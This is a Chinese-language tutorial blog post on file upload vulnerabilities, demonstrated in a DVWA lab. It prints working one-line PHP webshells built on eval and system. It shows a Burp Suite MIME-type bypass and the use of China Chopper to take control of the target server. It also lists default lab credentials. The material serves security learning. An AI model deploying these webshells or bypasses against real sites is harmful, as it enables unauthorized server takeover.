声明:从这篇文章开始我正式学习网络安全中常见的攻击和防御手段。我们要知道,我们要学习这个是为了了解网络中常见的攻击手段,只有了解了这些手段之后,我们才能对此做出相应的防御手段哦。
在学习本章文件上传漏洞之前,大家要先了解网络安全法,了解网络安全法则,从入门到入狱可不建议哦,哈哈。下面开始学习啦。
CONTENTS
2.2 文件类型限制利用工具burpsuite(medium安全级别)
1 攻击渗透环境搭建
(1)三台虚拟机,一台靶机owasp,两台攻击机:kali和xin7。建议网络都设置为NAT(安全起见)
(2)虚拟机下载可以到官网上下载,下面也提供网盘下载,可参考这篇博客:
https://blog.csdn.net/Until_U/article/details/106984359
(3)账号密码:
owasp:用户名为:root 密码: owaspbwa
kali:用户名:kali 密码:kali
2 文件上传漏洞渗透及防御
2.1 文件上传漏洞基本操作(low安全级别)
(1)登录到owasp,输入虚拟机ip即可。下面这些每个对应一个虚拟机。选择Damn。
(2)账号密码都是admin,选择安全级别。low说明网站都是小白写的,没有什么安全意识。
owasp提供了后端代码展示,可以通过view source查看后端代码:
(3)因为这个安全级别low,这边文件上传不判断文件类型或后缀名,所以我们就可以通过上传php文件(webshell程序也就是木马程序),然后通过中国菜刀工具获取靶机的控制。下面可以可以上传图片,txt,然后通过网页访问测试一下。
(4)下面我们编写一个php文件,然后利用漏洞上传,再利用中国菜刀获取webshell控制权。
php文件:
<?php
@eval($_POST['chopper']);
?>
上传php文件,打开中国菜刀软件(网上直接搜下载就好了),添加php1.php的网页链接,输入密码。
添加成功后,右键点击网页链接,点击文件管理,就实现了对网站的控制权。
(5)通过xshell管理owasp,注意我们上传文件的目录,我们cd到那个目录中。删除jpg,网页就找不到内容了。
再刷新以下就找不到了。
2.2 文件类型限制利用工具burpsuite(medium安全级别)
(1)如果网站在上传文件的后端代码中设置了文件类型限制。比如在owasp中的DVMA项目中,设置了medium中级安全级别。这个时候我们看一下后端代码。可以知道他限制了文件类型为image/jpeg。我们有必要先了解下mime类型(参考手册链接如下):https://www.w3school.com.cn/media/media_mimeref.asp。所以我们上传其他类型的文件就不可以。但是我们有一个工具,burpsuite,可以诡异的绕过网站的判断。。
(2)burpsuite这个软件,非常强大。我们可以在https://sectools.org/上看到它的排行。现在我们利用kali自带的burpsuite。首先我们打开kali,打开owasp,进入DVWA,调整安全级别为medium。由于上面显示的后端代码对文件类型进行了限制,所以无法上传其他文件类型的文件,自己可以试试。
(3)burpsuite的基本原理,作为中间件,有代理/拦截/转发的功能。
(4)开始使用burpsuite工具(工具栏可以搜名字)。由于它是java工具,刚开始会打开会慢点,下面界面默认就好了。
查看proxy下的options,因为后面需要在浏览器中配置代理:
(5)在火狐浏览器中配置代理,打开preference-->network--->settings
手动配置代理:
(6)下面开始上传php文件,默认会跳到以下界面(2020版kali就是强大),注意文件类型,然后我们把它修改为后端代码所支持的文件类型。修改之后点击Forward转发。
区别于以上实验:php文件简单修改下密码,
<?php
@eval($_POST['phptest']);
?>
重新上传php :
访问php文件所在的目录,下面会自动跳到以下界面 ,关掉拦截
(7)关掉拦截之后发现网站那边返回我们的php文件,下面我们就又可以通过菜刀工具获取系统的控制权了。
2.3 限制文件扩展名(high安全级别)
查看高安全级别的后端代码,如下,可知道网站对上传文件的后缀做了限制。这个是相对很安全的方法。因为在这种情况下,不管你利用了burpsuite设置代理拦截,修改文件的扩展名,仍然不能通过菜刀获取服务器的控制权。因为php文件修改了以jpg为扩展名后在服务器没法解析,故限制文件扩展名是一种比较安全的做法。
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
但仍有方法获取服务器的控制权,可以通过图片木马实现,这个后面我会来介绍哦。
3 文件上传漏洞webshell
webshell可分为小马和大马:
小马:一句话木马也称为小马,即整个shell代码量就只有一行,一般是系统执行函数;
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙或入侵检测系统察觉。
下面我们简单了解小马,看两个webshell:
(1)上传下面木马到服务器上,记住先把uploads下内容清空,然后调整安全级别为low,我们主要来了解这两个webshell。
shell1.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>
上传到在火狐搜索栏输入:http://192.168.119.167/dvwa/hackable/uploads/shell1.php?cmd=phpinfo();
调用phpinfo()函数:
(2)编写第二个shell2.phpwebshell,上传到服务器。
shell2.php #system 使用linux系统命令,例如ls,cp,rm,curl等
<?php system($_REQUEST['cmd']);?>
后面系统命令就是kali的命令,有可能因为用户的权限不够,无法执行。所以可以给用户提权,这个后面再说咯。
4 中国菜刀基本功能
中国菜刀功能很强大,可以用来测试服务器安全性。我们可以通过木马,然后通过中国菜刀获取服务器的控制权。进而找出服务器的漏洞,从而修复漏洞。这是每一个人必备的素养哦。
中国菜刀网上可以搜到,下载后有一个帮助文档。根据文档进行配置管理。
(1)文件管理,这个我们在前面的实验中也用到过。我就不在演示拉。
(2)虚拟终端(如果文件管理,就可以进入虚拟终端,跟正常的Linux shell一样)
(3)数据库管理(先配置PHP脚本,照着帮助文档写就OK了)。owasp默认的数据库账号:root,密码:owaspbwa
可是数据库的账号密码我们一开始是不知道的,后面学习SQL注入可以获取账号密码。
今天学习任务完成!